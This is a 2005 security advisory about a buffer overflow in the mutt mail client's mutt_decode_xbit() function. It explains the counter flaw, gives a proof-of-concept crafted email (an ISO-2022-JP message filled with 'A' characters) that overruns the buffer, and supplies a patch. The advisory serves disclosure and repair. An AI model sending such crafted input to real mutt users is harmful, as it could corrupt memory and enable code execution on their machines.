[UNIX] mutt mutt_decode_xbit() Buffer Overflow

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  mutt mutt_decode_xbit() Buffer Overflow
------------------------------------------------------------------------


SUMMARY

" <http://www.mutt.org/> Mutt is a small but very powerful text-based mail 
client for UNIX operating systems."

By sending a maliciously crafted email to the mutt program an attacker can 
cause the program to execute arbitrary code.

DETAILS

The problem is in the mutt attachment/encoding/decoding functions, 
specifically handler.c:mutt_decode_xbit() and the buffer bufi[BUFI_SIZE].

The variable 'l' is used as a counter to reference a position in the 
buffer and under certain circumstances its value can be manipulated and 
becomes much larger than the size of this buffer, thus overwriting other 
memory with many possible consequences.

This counter should never exceed the size and I believe the logic in the 
convert_to_state() function is supposed to reset it to 0, however there is 
a flaw - There are other functions affected in the same way due to 
copy/paste, such as mutt_decode_uuencoded().

Proof of Concept :
Mutt buffer overflow POC.
Discovered by Frank Denis <[email protected]>


-- snip snip --
From [email protected] Tue Jul 12 20:23:31 2005
Date: Tue, 12 Jul 2005 19:33:42 +0900
From: [email protected]
Subject: TEST
To: [email protected]
Content-type: text/plain; charset=ISO-2022-JP

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-- snip snip --

Proof of Concept:
The proof of concept can be found at:  
<http://sightly.net/peter/tmp/mutt-bug> 
http://sightly.net/peter/tmp/mutt-bug.

The last message causes data to be written to addresses bufi[~1300] and 
above, when the size is 1000 (BUFI_SIZE) - this can easily be seen by 
monitoring the counter from gdb or adding printf's. Since this and other 
such experiments cause the propolice canary to get damaged (being right 
next to the return address), it seems very likely for this to be 
exploitable, except on system such as OpenBSD that include ProPolice by 
default.

Possible Fix:
--- handler.c.orig Tue Mar 26 02:49:51 2002
+++ handler.c Wed Aug 10 16:55:02 2005
@@ -95,7 +95,7 @@ static void convert_to_state(iconv_t cd,
     return;
   }
 
- if (cd == (iconv_t)(-1))
+ if (cd == (iconv_t)(-1) || *l >= BUFI_SIZE)
   {
     state_prefix_put (bufi, *l, s);
     *l = 0;


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Peter 
Valchev ,
 <mailto:[email protected]> Frank Denis.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.